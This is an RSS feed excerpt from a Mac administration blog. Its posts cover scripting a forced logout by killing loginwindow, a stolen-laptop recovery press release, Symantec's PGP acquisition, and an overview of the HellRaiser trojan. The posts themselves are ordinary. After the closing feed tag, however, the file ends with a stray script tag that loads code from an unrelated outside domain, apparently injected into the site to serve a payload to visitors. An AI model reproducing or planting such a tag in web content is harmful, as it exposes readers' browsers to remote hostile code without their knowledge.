<li><a href="http://krypted.com/consulting/apples-new-certification-track/" rel="bookmark" title="October 22, 2007">Apple&#039;s New Certification Track</a></li>
<li><a href="http://krypted.com/mac-os-x-server/adding-dhcp-options-in-mac-os-x-server/" rel="bookmark" title="October 6, 2009">Adding DHCP Options in Mac OS X Server</a></li>
<li><a href="http://krypted.com/articles-and-books/snow-leopard-malware/" rel="bookmark" title="August 25, 2009">Snow Leopard &amp; Malware</a></li>
<li><a href="http://krypted.com/mac-os-x/windows-7-in-october/" rel="bookmark" title="June 15, 2009">Windows 7 in October</a></li>
<li><a href="http://krypted.com/mac-os-x/deploystudio-creating-a-new-master-image/" rel="bookmark" title="August 7, 2009">DeployStudio: Creating a New Master Image</a></li>
</ul>
<p><!-- Similar Posts took 4.344 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/iphone/peachpit-books/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scripting the Force Log Out</title>
		<link>http://krypted.com/mac-os-x/scripting-the-log-out/</link>
		<comments>http://krypted.com/mac-os-x/scripting-the-log-out/#comments</comments>
		<pubDate>Tue, 04 May 2010 15:00:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[kill]]></category>
		<category><![CDATA[loginwindow]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[script to log out current user]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5970</guid>
		<description><![CDATA[Scripting a log out event seems like the kind of thing that would be pretty simple, and if you use the AppleScript later it does appear simple, unless you want to force the event to occur immediately. Why would we want to do such a thing? Most commonly there are two requests. One is to [...]]]></description>
			<content:encoded><![CDATA[<p>Scripting a log out event seems like the kind of thing that would be pretty simple, and if you use the AppleScript later it does appear simple, unless you want to force the event to occur immediately. Why would we want to do such a thing? Most commonly there are two requests. One is to invoke the script with the screen saver to meet some form of policy that requires a log out after a certain amount of time whether the user has saved their data or not (seems a big mean, but it&#8217;s not unheard of). The second is to invoke the script as part of a deployment or as a postflight script. You can force the system to shut down by running the shutdown command with the -h option specified as now as you can see here:</p>
<blockquote><p>shutdown -h now</p></blockquote>
<p>You can also restart a system by running the shutdown command with a -r option and the same now as before, as follows:</p>
<blockquote><p>shutdown -r now</p></blockquote>
<p>You can also replace the now with a specific time and date to set the system to shut down and/or restart in the future. But these don&#8217;t log the system out and leave you at a login window without first actually rebooting a computer we might not be ready to reboot (or we might not want to reboot/shut down). One way to get close is to use the options we referenced yesterday to <a href="http://krypted.com/mac-os-x/scripting-fast-user-switching/">invoke fast user switching</a>. But it&#8217;s one of those things that there&#8217;s no real framework for at this time. Again, there is close. You can use AppleScript, but it&#8217;s going to ask the user to log out</p>
<blockquote><p><strong>tell</strong> <em>application</em> &#8220;System Events&#8221; <strong>to</strong> <strong>log out</strong></p></blockquote>
<p>You can then send this through the shell using osascript:</p>
<blockquote>
<div id="_mcePaste">osascript &#8216;tell application &#8220;System Events&#8221; to log out&#8217;</div>
</blockquote>
<p>Once the screen comes up you could send a subsequent command to click on the Log Out button. However, this can be cancelled by a screen that can&#8217;t be closed or a file that needs to be saved (which is by design given that you don&#8217;t typically want to risk loosing work) or because an application is unresponsive. We could quit all the open applications using a loop, such as the one I use in the hide all apps application, but then we would need to determine logic on how to answer certain questions that could come up. It was suggested to use killall with the -u option to kill all processes for our current user:</p>
<blockquote><p>killall -u cedge</p></blockquote>
<p>But that introduced a little loginwindow instability. So maybe we could just kill loginwindow for the user. To do so we first need to get the pid for loginwindow:</p>
<blockquote><p>ps -Axjc | grep loginwindow | cut -c 13-16</p></blockquote>
<p>Once we have that, we can feed it to kill:</p>
<blockquote><p>kill -9 `ps -Axjc | grep loginwindow | cut -c 13-16`</p></blockquote>
<p>Which can then be sent through AppleScript as:</p>
<blockquote>
<p style="margin: 0.0px 0.0px 0.0px 41.6px; text-indent: -41.6px; font: 12.0px Verdana;"><strong>tell</strong> <span style="color: #1700ff;"><em>application</em></span> &#8220;Finder&#8221;</p>
<p style="margin: 0.0px 0.0px 0.0px 83.2px; text-indent: -83.2px; font: 12.0px Verdana;"><span style="white-space: pre;"> </span><span style="color: #0600c2;"><strong>do shell script</strong></span> &#8220;<span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">kill -9 `ps -Axjc | grep loginwindow | cut -c 13-16`</span>&#8220;</p>
<p style="margin: 0.0px 0.0px 0.0px 41.6px; text-indent: -41.6px; font: 12.0px Verdana;"><strong>end</strong> <strong>tell</strong></p>
</blockquote>
<p>Now that it can be done through bash and AppleScript you have a variety of ways to run it against a client system. It&#8217;s not as clean as I&#8217;d like (throws a few errors in the logs and seems like a hack), so perhaps there&#8217;s a better way&#8230;<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/mac-os-x-invoke-a-command-w-screensaver/" rel="bookmark" title="October 28, 2009">Mac OS X: Invoke a Command w/ ScreenSaver</a></li>
<li><a href="http://krypted.com/mac-os-x/scripting-fast-user-switching/" rel="bookmark" title="May 3, 2010">Scripting Fast User Switching</a></li>
<li><a href="http://krypted.com/mac-os-x/login-logout-hooks/" rel="bookmark" title="November 19, 2007">Login &amp; Logout Hooks</a></li>
<li><a href="http://krypted.com/mac-os-x/shell-to-clipboard-back-again/" rel="bookmark" title="January 15, 2010">Shell to Clipboard &#038; Back Again</a></li>
<li><a href="http://krypted.com/mac-os-x/scripting-a-battery-sanity-check/" rel="bookmark" title="May 6, 2010">Scripting a Battery Sanity Check</a></li>
</ul>
<p><!-- Similar Posts took 10.204 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/scripting-the-log-out/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Finding Stolen Machinery</title>
		<link>http://krypted.com/mac-security/finding-stolen-machinery/</link>
		<comments>http://krypted.com/mac-security/finding-stolen-machinery/#comments</comments>
		<pubDate>Sat, 01 May 2010 15:00:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[MAC]]></category>
		<category><![CDATA[Recovery]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Theft]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5964</guid>
		<description><![CDATA[I got this press release and thought it was pretty interesting. It&#8217;s just a cut/paste, and hasn&#8217;t been edited:
BREAKING NEWS &#8211; New York City &#8211; MacPhoneHome finds another stolen computer!
Late on a recent Sunday night, a Columbia University student
was crossing Morningside Park returning to the Columbia University
campus.
He was accosted by four knife wielding thugs who [...]]]></description>
			<content:encoded><![CDATA[<p>I got this press release and thought it was pretty interesting. It&#8217;s just a cut/paste, and hasn&#8217;t been edited:</p>
<blockquote><p>BREAKING NEWS &#8211; New York City &#8211; MacPhoneHome finds another stolen computer!</p>
<p>Late on a recent Sunday night, a Columbia University student<br />
was crossing Morningside Park returning to the Columbia University<br />
campus.</p>
<p>He was accosted by four knife wielding thugs who beat him and robbed his<br />
MacBook Pro laptop, iPhone and wallet.</p>
<p>The student advised Columbia University security personnel that<br />
since his laptop was partitioned with both a Windows and Mac Partition,<br />
he had installed both PC PhoneHome and MacPhoneHome tracking and<br />
recovery software on his computer which is available by contract to all<br />
Columbia  University students, faculty and employees as a free download.</p>
<p>Columbia University security personnel immediately notified Brigadoon<br />
Software, Inc.the makers of PC PhoneHome and MacPhoneHome who&#8217;s recovery<br />
agents, most of whom are former law enforcement, sprang into action.</p>
<p>Messages from the stolen machine indicated the thieves were using both<br />
partitions of the stolen computer and moving around logging onto the<br />
internet from various locations in the NYC Metropolitan area in the<br />
following week.</p>
<p>Working with NYPD Detectives, Columbia University security personnel<br />
and local Internet Service Providers,  Brigadoon&#8217;s Recovery Agents<br />
pinpointed the exact location of the stolen laptop. NYPD Detectives<br />
secured a search warrant and raided the location.</p>
<p>Result: The student&#8217;s MacBook Pro, his iPhone and wallet<br />
were recovered. One mugger arrested and three others<br />
have been identified and are being sought.</p>
<p>What are you doing to secure your computers from theft?</p>
<p>Checkout PC PhoneHome and MacPhoneHome at: http://www.brigadoonsoftware.com</p></blockquote>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/lojack/" rel="bookmark" title="February 20, 2009">Lo/Jack</a></li>
<li><a href="http://krypted.com/iphone/iphone-worm-is-crap/" rel="bookmark" title="November 25, 2009">iPhone Worm is Crap</a></li>
<li><a href="http://krypted.com/mac-os-x/on-the-road-sprint-smartview/" rel="bookmark" title="May 6, 2009">On the Road: Sprint SmartView</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-check-point-fde/" rel="bookmark" title="September 21, 2008">Mac OS X: Check Point FDE</a></li>
<li><a href="http://krypted.com/business/minnesec/" rel="bookmark" title="May 12, 2009">MinneSec</a></li>
</ul>
<p><!-- Similar Posts took 5.329 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-security/finding-stolen-machinery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symantec Acquires PGP &amp; GuardianEdge</title>
		<link>http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/</link>
		<comments>http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 15:00:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[fde]]></category>
		<category><![CDATA[guardianedge]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[pgp]]></category>
		<category><![CDATA[symantec]]></category>
		<category><![CDATA[Zimmerman]]></category>

		<guid isPermaLink="false">http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/</guid>
		<description><![CDATA[Today Symantec announced that it is acquiring PGP. I certainly hope they treat the Mac PGP client better than they&#8217;ve treated some of their other Mac clients. This move brings Symantec squarely into the encryption space. They encrypt full disks (including the boot volume of Mac OS X), portables, file servers, jump drives, Blackberry and [...]]]></description>
			<content:encoded><![CDATA[<p>Today <a href="http://www.symantec.com">Symantec</a> announced that it is acquiring PGP. I certainly hope they treat the Mac PGP client better than they&#8217;ve treated some of their other Mac clients. This move brings Symantec squarely into the encryption space. They encrypt full disks (including the boot volume of Mac OS X), portables, file servers, jump drives, Blackberry and PDFs. They have a mature centralized key management solution (after all, all encryptions seems to be key based these days) and even recently added application control to their portfolio, to block malware. Perhaps the last is why Symantec went ahead and picked them up. Or perhaps it&#8217;s because they just like buying things at Symantec. Shiny IT things that do something cool&#8230; Well, this is perhaps one of my favorite companies that they&#8217;ve bought.</p>
<p>I&#8217;ve liked the PGP brand since watching <a href="http://www.philzimmermann.com/EN/essays/WhyIWrotePGP.html">Zimmerman</a> fight to keep PGP going in the early 1990s, when PGP met the standards of a non-exportable weapon. That is, until Zimmerman published a physical book with the source code in OCR-friendly font and ended up with PGP covered under the first ammendment. All of that is such old history though. Zimmerman has been gone since 2001, after a merger and then an acquisition by Network Associates. The company then ended up getting dumped by Network Associates and refounded (with assets bought back from Network Associates) with a little VC. It&#8217;s been a weird journey to get to where they are today. I hate to watch it go away (again) as a company though. Hopefully this acquisition will go better than things went when they were part of Network Associates.</p>
<p>Symantec is also acquiring GuardianEdge. GuardianEdge products already integrate nicely alongside the Symantec portfolio. You can even deploy GuardianEdge with a special Altiris Connector into Altiris Notification Server, which alerts you when systems &#8220;present risk to protected information&#8221;. Overall, either PGP or GuardianEdge seem like great adds to the Symantec lineup. Both from the outside seem a bit superfluous but I have to guess someone has a great strategy for integrating the two brands into one. I look forward to watching it unfold.<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/business/symantec-continues-to-beef-up-saas-solution-offerings/" rel="bookmark" title="October 22, 2008">Symantec Continues to Beef Up SaaS Solution Offerings</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-tail/" rel="bookmark" title="August 7, 2007">Mac OS X: tail</a></li>
<li><a href="http://krypted.com/articles-and-books/mac-os-x-for-unix-geeks/" rel="bookmark" title="September 26, 2008">Mac OS X for Unix Geeks</a></li>
<li><a href="http://krypted.com/business/houseport-z-wave-for-mac-finally-available/" rel="bookmark" title="September 25, 2009">Houseport Z-Wave for Mac Finally Available!!</a></li>
<li><a href="http://krypted.com/mac-os-x/lojack/" rel="bookmark" title="February 20, 2009">Lo/Jack</a></li>
</ul>
<p><!-- Similar Posts took 8.028 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HellRaiser</title>
		<link>http://krypted.com/mac-os-x/hellraiser/</link>
		<comments>http://krypted.com/mac-os-x/hellraiser/#comments</comments>
		<pubDate>Mon, 26 Apr 2010 15:00:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[HellRaiser]]></category>
		<category><![CDATA[HRS]]></category>
		<category><![CDATA[MAC]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[Virus]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5927</guid>
		<description><![CDATA[A new variant of HellRaiser is now out there. It is being called OSX/HellRTS.D and in order to get infected you would have to run a server daemon, shown below.

HellRaiser is a RealBasic-based trojan horse that gives control of a Mac OS X system to an attacker. This can include searching through the file system [...]]]></description>
			<content:encoded><![CDATA[<p>A new variant of HellRaiser is now out there. It is being called OSX/HellRTS.D and in order to get infected you would have to run a server daemon, shown below.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/04/Screen-shot-2010-04-25-at-1.24.40-PM.png"><img class="aligncenter size-medium wp-image-5931" title="HellRaiser for krypted" src="http://krypted.com/wp-content/uploads/2010/04/Screen-shot-2010-04-25-at-1.24.40-PM-300x222.png" alt="" width="300" height="222" /></a></p>
<p>HellRaiser is a RealBasic-based trojan horse that gives control of a Mac OS X system to an attacker. This can include searching through the file system and then transferring files, viewing the clipboard, sending audio, sending chats, viewing the screen, showing pictures, viewing spotlight indexes, controlling mail and rebooting (see the tabs below).</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/04/Screen-shot-2010-04-25-at-1.28.37-PM.png"><img class="aligncenter size-medium wp-image-5932" title="HellRaiser Client" src="http://krypted.com/wp-content/uploads/2010/04/Screen-shot-2010-04-25-at-1.28.37-PM-300x263.png" alt="" width="300" height="263" /></a></p>
<p>A number of products will detect the OSX/HellRTS.D. trojan horse when using the latest definition updates, including the following (which links to the HellRaiser entry for each vendor):</p>
<ul>
<li><a href="http://www.sophos.com/security/analyses/viruses-and-spyware/osxpinheadb.html">Sophos</a></li>
<li><a href="http://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=265239">McAfee</a></li>
<li><a href="http://www.symantec.com/security_response/writeup.jsp?docid=2010-041911-0548-99">Symantec</a></li>
<li><a href="http://macscan.securemac.com/hellraiser-aka-osxhellrtsd/">MacScan</a></li>
<li><a href="http://www.intego.com/news/hellrts-backdoor-can-allow-malicious-remote-users-to-control-macs.asp">Intego</a></li>
</ul>
<p>HellRaiser is not widely distributed and so most users have a pretty low risk of being infected. However, be wary of files you get from untrusted sources (especially the ones called HEYI&#8217;MATROJANPLEASEDOWNLOADME from BitTorrent;) and run some form of anti-virus on your systems. It&#8217;s pretty easy to take the HellRaiser application, customize it to your liking and then distribute it (let&#8217;s just say as part of a bundle of <a href="http://more-ichat-smileys.en.softonic.com/mac">iChat Smileys</a> or a fake iLife download). If you find yourself infected (again, a low risk that this will happen) and don&#8217;t have any anti-virus, just kill the launchd item that&#8217;s invoking it, but first do me a favor and enable ipfw and then ipfw logging for the port that it&#8217;s attempting to connect over (by default it&#8217;s 24745). Then let me know the address&#8230; If you&#8217;re not sure whether you&#8217;ve been infected, just look for an item running that has a broken File menu (I guess it&#8217;s hard to program menus&#8230; not) and greyed out preferences. It would need to be recompiled if it was going to have a different quit menu, so you might even see Quit HellRaiser (followed by the version number).</p>
<p>Overall, this isn&#8217;t nearly as dangerous as having an SSH server or a client/server remote screen sharing tool that you don&#8217;t know about running on your machine. If anything is dangerous it&#8217;s the idea that there&#8217;s a GUI toolkit for this type of stuff floating around for Mac OS X (and has been since 2004) and that a small 0-day (happens all the time for platforms) could turn into a mass infection fairly easily&#8230;<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-security/iwork-or-trojan/" rel="bookmark" title="January 22, 2009">iWork or Trojan</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-new-trojan-discovered/" rel="bookmark" title="October 29, 2007">Mac OS X: New Trojan Discovered</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-server-customizing-menu-items-with-open-directory-mcx/" rel="bookmark" title="June 13, 2008">Mac OS X Server: Customizing Menu Items with Open Directory MCX</a></li>
<li><a href="http://krypted.com/mac-os-x/finder-i-just-cant-quit-you/" rel="bookmark" title="December 20, 2009">Finder: I Just Can&#8217;t Quit You</a></li>
<li><a href="http://krypted.com/mac-os-x/apple-remote-desktop-setting-up-a-task-server/" rel="bookmark" title="April 14, 2008">Apple Remote Desktop: Setting up a Task Server</a></li>
</ul>
<p><!-- Similar Posts took 8.506 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/hellraiser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Post at Xsanity on Active Storage</title>
		<link>http://krypted.com/mac-os-x/post-at-xsanity-on-promise/</link>
		<comments>http://krypted.com/mac-os-x/post-at-xsanity-on-promise/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 22:05:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Xsan]]></category>
		<category><![CDATA[innerpool]]></category>
		<category><![CDATA[Promise]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5905</guid>
		<description><![CDATA[Posted a little article on Xsanity about the new press releases from Promise regarding Innerpool and Active Stats. You can find it here:
http://www.xsanity.com/article.php/20100415165329925Similar Articles:

Xsanity: Using Removable Media with Xsan
Xsanity Post on fibreconfig
Xsanity Party at MacWorld
Customizing the Final Cut Server Webstart on Xsanity
Installing a Vtrak for Windows


Copyright &#169; 2008 This feed is for personal, non-commercial use [...]]]></description>
			<content:encoded><![CDATA[<p>Posted a little article on Xsanity about the new press releases from Promise regarding Innerpool and Active Stats. You can find it here:</p>
<p><a href="http://www.xsanity.com/article.php/20100415165329925">http://www.xsanity.com/article.php/20100415165329925</a><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/xsan/xsanity-using-removable-media-with-xsan/" rel="bookmark" title="January 20, 2009">Xsanity: Using Removable Media with Xsan</a></li>
<li><a href="http://krypted.com/xsan/xsanity-post-on-fibreconfig/" rel="bookmark" title="January 28, 2009">Xsanity Post on fibreconfig</a></li>
<li><a href="http://krypted.com/xsan/xsanity-party-at-macworld/" rel="bookmark" title="January 4, 2009">Xsanity Party at MacWorld</a></li>
<li><a href="http://krypted.com/final-cut-server/customizing-the-final-cut-server-webstart-on-xsanity/" rel="bookmark" title="May 16, 2009">Customizing the Final Cut Server Webstart on Xsanity</a></li>
<li><a href="http://krypted.com/windows-server/installing-a-vtrak-for-windows/" rel="bookmark" title="May 30, 2009">Installing a Vtrak for Windows</a></li>
</ul>
<p><!-- Similar Posts took 6.158 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/post-at-xsanity-on-promise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>